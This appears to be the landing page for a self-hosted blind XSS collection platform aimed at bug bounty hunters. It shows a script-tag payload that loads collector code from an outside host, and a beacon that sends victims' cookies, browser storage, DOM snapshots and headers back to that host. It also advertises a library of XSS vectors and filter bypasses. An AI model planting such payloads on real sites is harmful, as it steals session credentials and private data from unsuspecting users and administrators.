A self-hosted blind XSS platform that captures cookies, storage, DOM snapshots, headers and client intelligence the moment a payload fires. Built for bug bounty hunters.
# 1 · plant the payload anywhere user input is stored <script src="https://your.site/c.php?t=AbC123xY"></script> # 2 · victim loads the page → collector fires silently GET /c.php?t=AbC123xY → 200, serves collector JS POST /c.php?t=AbC123xY → beacon: cookies + storage + DOM + screen # 3 · dashboard lights up with full forensics ✓ cookies (non-HttpOnly flagged) ✓ localStorage / sessionStorage ✓ DOM snapshot ✓ headers · IP · referer · UA ✓ high-value origin detection ✓ real-time webhooks
Everything you need to run a professional blind XSS operation.
Detection of non-HttpOnly cookies, Secure flag verification, SameSite attribute analysis and cookie expiration monitoring.
Full header inspection, referer tracking, request method verification, protocol and TLS detection, port and host logging.
Client IP tracking, connection security status, and high-value origin classification for intranet / localhost / RFC1918 hits.
Browser & OS detection, device classification, screen resolution, color depth, language, timezone, hardware concurrency and memory.
Local storage and session storage inspection, DOM snapshot capture, IndexedDB-ready pipeline, and cookie management.
Automated webhook alerts per capture, high-value hit notifications, REST API with API-key auth, and a ready payload library.
Reports timeline, capture-quality breakdown, top domains, and a day × hour activity heatmap over the last 90 days.
Extensive built-in library of optimized XSS vectors — basic, event handlers, SVG, iframe, bypass, polyglot, Angular and more.
SQLite-backed, zero external dependencies, self-hosted. Your captures stay yours. Session + CSRF hardened auth.
Blind XSS fires in pages you never see — admin panels, support tickets, error logs, review systems. Instead of waiting for someone to notice, you plant a beacon that phones home with the victim's cookies, storage and environment the instant it executes.
Names, messages, tickets, profile fields — anywhere input is persisted and later rendered for a privileged user.
High-value captures from internal origins get flagged so you can triage them first.
Every report merges server-side request data with client-side exfiltration into one clean record.